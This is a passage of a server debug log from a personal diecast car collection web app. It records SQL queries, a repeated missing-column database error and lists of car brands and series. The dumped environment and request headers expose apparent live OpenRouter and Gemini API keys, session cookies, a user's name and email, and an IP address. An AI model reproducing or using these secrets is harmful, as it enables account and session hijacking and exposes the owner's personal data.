    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-13T10:02:53.287Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-13T10:02:57.566Z server-connect:router Serving templateView /diecast
2026-07-13T10:02:57.566Z server-connect:app Executing action step identify
2026-07-13T10:02:57.567Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:57.567Z server-connect:output identity: 1
2026-07-13T10:02:57.567Z server-connect:app Executing action step restrict
2026-07-13T10:02:57.567Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:57.567Z server-connect:output restrict: undefined
2026-07-13T10:02:57.567Z server-connect:router Render template layouts/main
2026-07-13T10:02:57.568Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15cb8-0QY0yaGD62DEpPl9qYiH6AffV2Y"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15cb8-0QY0yaGD62DEpPl9qYiH6AffV2Y"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-07-13T10:02:58.812Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:02:58.812Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-13T10:02:58.812Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:02:58.812Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:58.812Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:58.813Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:58.814Z server-connect:app Executing action step identify
2026-07-13T10:02:58.814Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.814Z server-connect:output identity: 1
2026-07-13T10:02:58.814Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.814Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.814Z server-connect:app Executing action step identify
2026-07-13T10:02:58.814Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.814Z server-connect:output identity: 1
2026-07-13T10:02:58.814Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.814Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.815Z server-connect:app Executing action step identify
2026-07-13T10:02:58.815Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.815Z server-connect:output identity: 1
2026-07-13T10:02:58.815Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.815Z server-connect:app Executing action step identify
2026-07-13T10:02:58.815Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.815Z server-connect:output identity: 1
2026-07-13T10:02:58.815Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.816Z server-connect:app Executing action step identify
2026-07-13T10:02:58.816Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.816Z server-connect:output identity: 1
2026-07-13T10:02:58.816Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.816Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.816Z server-connect:output restrict: undefined
2026-07-13T10:02:58.816Z server-connect:app Executing action step paged
2026-07-13T10:02:58.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:02:58.817Z server-connect:output restrict: undefined
2026-07-13T10:02:58.817Z server-connect:app Executing action step select
2026-07-13T10:02:58.817Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:58.818Z server-connect:output restrict: undefined
2026-07-13T10:02:58.818Z server-connect:app Executing action step single
2026-07-13T10:02:58.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-13T10:02:58.818Z server-connect:app Executing action step identify
2026-07-13T10:02:58.818Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:58.818Z server-connect:output identity: 1
2026-07-13T10:02:58.818Z server-connect:app Executing action step restrict
2026-07-13T10:02:58.818Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:58.819Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:58.819Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:02:58.819Z server-connect:app Executing action step select
2026-07-13T10:02:58.819Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:58.820Z server-connect:output restrict: undefined
2026-07-13T10:02:58.820Z server-connect:app Executing action step select
2026-07-13T10:02:58.820Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:58.820Z server-connect:output restrict: undefined
2026-07-13T10:02:58.820Z server-connect:app Executing action step select
2026-07-13T10:02:58.820Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:58.821Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:58.822Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:02:58.822Z server-connect:app Executing action step select
2026-07-13T10:02:58.822Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:58.822Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:02:58.823Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:02:58.824Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-13T10:02:58.825Z server-connect:output restrict: undefined
2026-07-13T10:02:58.825Z server-connect:app Executing action step select
2026-07-13T10:02:58.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:58.826Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:02:58.827Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
